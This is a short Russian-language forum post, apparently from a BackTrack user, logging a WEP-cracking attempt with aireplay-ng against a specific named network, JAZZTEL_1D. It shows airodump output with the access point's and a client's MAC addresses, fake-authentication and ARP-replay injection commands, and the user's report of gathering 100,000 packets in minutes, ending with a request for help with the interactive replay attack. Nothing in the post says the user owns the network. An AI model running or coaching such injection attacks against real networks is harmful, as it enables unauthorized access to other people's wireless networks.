Вот что выдаёт :

root@bt:~# iwconfig wlan0 channel 11
root@bt:~# aireplay-ng -2 -p 0841 -e JAZZTEL_1D
No replay interface specified.
"aireplay-ng --help" for help.


Далее присмотрелся в:

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1A:2B:2B:6E:20 -77 100 11726 104537 0 11 54 WEP WEP OPN JAZZTEL_1D

BSSID STATION PWR Rate Lost Packets Probe

00:1A:2B:2B:6E:20 00:08:A1:81:10:6F 0 18- 0 0 282235

Увидел STATION и как я понял, это и есть клиент. Далее прописал его в :
aireplay-ng -1 0 -a 00:1A:2B:2B:6E:20 -h 00:08:A1:81:10:6F -e JAZZTEL_1D wlan0
и aireplay-ng -3 -b 00:1A:2B:2B:6E:20 -h 00:23:54:5F:66:0F wlan0

И сработало, собрал 100к пакетов за пару минут.

Хотелось бы ещё разобраться с атакой aireplay-ng -2 -p 0841 -e